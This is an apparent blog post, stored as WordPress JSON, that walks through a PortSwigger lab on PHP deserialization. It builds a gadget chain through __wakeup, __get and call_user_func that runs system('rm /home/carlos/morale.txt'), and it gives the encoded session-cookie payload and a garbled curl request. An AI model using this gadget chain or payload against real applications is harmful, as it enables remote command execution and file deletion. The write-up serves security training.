{"id":623,"date":"2025-06-12T14:12:54","date_gmt":"2025-06-12T06:12:54","guid":{"rendered":"https:\/\/blog.73007300.xyz\/?p=623"},"modified":"2025-06-12T14:15:24","modified_gmt":"2025-06-12T06:15:24","slug":"php-deserialization-lab_-developing-a-custom-gadge","status":"publish","type":"post","link":"https:\/\/blog.73007300.xyz\/?p=623","title":{"rendered":"PHP Deserialization Lab: Developing a custom gadget chain for PHP deserialization"},"content":{"rendered":"\n<p>This lab is from here:<br> <a href=\"https:\/\/portswigger.net\/web-security\/deserialization\/exploiting\/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization\">https:\/\/portswigger.net\/web-security\/deserialization\/exploiting\/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization<\/a><\/p>\n\n\n\n<p>get leaked code:<br>\n<a href=\"https:\/\/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net\/cgi-bin\/libs\/CustomTemplate.php\">https:\/\/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net\/cgi-bin\/libs\/CustomTemplate.php<\/a>~<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"445\" height=\"257\" src=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2025\/06\/ff6dd4629ee6f950a806223af222254b.png\" alt=\"\" class=\"wp-image-624\" srcset=\"https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2025\/06\/ff6dd4629ee6f950a806223af222254b.png 445w, https:\/\/blog.73007300.xyz\/wp-content\/uploads\/2025\/06\/ff6dd4629ee6f950a806223af222254b-300x173.png 300w\" sizes=\"(max-width: 445px) 100vw, 445px\" \/><\/figure>\n\n\n\n<p><code>call_user_func<\/code> exploit:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nclass DefaultMap {\n    private $callback;\n\n    public function __construct($callback) {\n        $this-&gt;callback = $callback;\n    }\n\n    public function __get($name) {\n        return call_user_func($this-&gt;callback, $name);\n    }\n}\n\n\/\/ Create the object with a dangerous callback\n$map = new DefaultMap('system');\n\n\/\/ (Optional) Trigger command immediately\n$map-&gt;{'rm \/home\/carlos\/morale.txt'};\n\n?&gt;\n<\/code><\/pre>\n\n\n\n<p>But we have to find a chain to run <code>$map-&gt;{'rm \/home\/carlos\/morale.txt'};<\/code><\/p>\n\n\n\n<p>We can not direct invoke method, we can only modify variables.<\/p>\n\n\n\n<p>Here is chains:<\/p>\n\n\n\n<p>When the payload string is later passed to <code>unserialize()<\/code>, it triggers:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CustomTemplate-&gt;__wakeup() \u2192 build_product() \u2192 Product-&gt;__construct() \u2192 triggers $desc-&gt;$default_desc_type \u2192 __get() \u2192 exec(\"rm \/home\/carlos\/morale.txt\")<\/code><\/pre>\n\n\n\n<p>modify the property of $desc, from private to public:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\nclass CustomTemplate {\n    private $default_desc_type;\n    public $desc; \/\/ \u2705 Made public\n    public $product;\n\n    public function __construct($desc_type='HTML_DESC') {\n        $this-&gt;desc = new Description();\n        $this-&gt;default_desc_type = $desc_type;\n        \/\/ Carlos thought this is cool, having a function called in two places... What a genius\n        $this-&gt;build_product();\n    }\n\n    public function __sleep() {\n        return &#91;\"default_desc_type\", \"desc\"];\n    }\n\n    public function __wakeup() {\n        $this-&gt;build_product();\n    }\n\n    private function build_product() {\n        $this-&gt;product = new Product($this-&gt;default_desc_type, $this-&gt;desc);\n    }\n}\n\nclass Product {\n    public $desc;\n\n    public function __construct($default_desc_type, $desc) {\n        $this-&gt;desc = $desc-&gt;$default_desc_type;\n    }\n}\n\nclass Description {\n    public $HTML_DESC;\n    public $TEXT_DESC;\n\n    public function __construct() {\n        \/\/ @Carlos, what were you thinking with these descriptions? Please refactor!\n        $this-&gt;HTML_DESC = '&lt;p&gt;This product is &lt;blink&gt;SUPER&lt;\/blink&gt; cool in html&lt;\/p&gt;';\n        $this-&gt;TEXT_DESC = 'This product is cool in text';\n    }\n}\n\nclass DefaultMap {\n    private $callback;\n\n    public function __construct($callback) {\n        $this-&gt;callback = $callback;\n    }\n\n    public function __get($name) {\n        return call_user_func($this-&gt;callback, $name);\n    }\n}\n\n\/\/ \u2705 Create object without building the product\n$customTemplate = new CustomTemplate(\"rm \/home\/carlos\/morale.txt\");\n\n\/\/ \u2705 Inject malicious desc object\n$customTemplate-&gt;desc = new DefaultMap('system');\n\n\/\/ \u2705 Serialize it\n$ser = serialize($customTemplate);\necho $ser;\n\n?&gt;\n<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>php .\/php\/1.php | base64 -w0\nTzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ==<\/code><\/pre>\n\n\n\n<p>then url encode:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D<\/code><\/pre>\n\n\n\n<p>send:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl --path-as-is -i -s -k -X \nGET' \n    -H \nHost: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net' \n    -b \nsession=TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjI6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NDoiZGVzYyI7TzoxMDoiRGVmYXVsdE1hcCI6MTp7czoyMDoiAERlZmF1bHRNYXAAY2FsbGJhY2siO3M6Njoic3lzdGVtIjt9fQ%3D%3D' \n    \nhttps:&#47;&#47;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net\/cgi-bin\/libs\/CustomTemplate.php'<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>This lab is from here: https:\/\/portswigger.net\/web-security\/deserialization\/exploiting\/lab-deserialization-developing-a-custom-gadget-chain-for-php-deserialization get leaked code: https:\/\/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.web-security-academy.net\/cgi-bin\/libs\/CustomTemplate.php~ call_user_func exploit: But we have to find a chain to run $map-&gt;{&#8216;rm \/home\/carlos\/morale.txt&#8217;}; We can not direct invoke method, we can only modify variables. Here is chains: When the payload string is later passed to unserialize(), it triggers: modify the property of $desc, from private [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/623"}],"collection":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=623"}],"version-history":[{"count":3,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/623\/revisions"}],"predecessor-version":[{"id":627,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=\/wp\/v2\/posts\/623\/revisions\/627"}],"wp:attachment":[{"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.73007300.xyz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}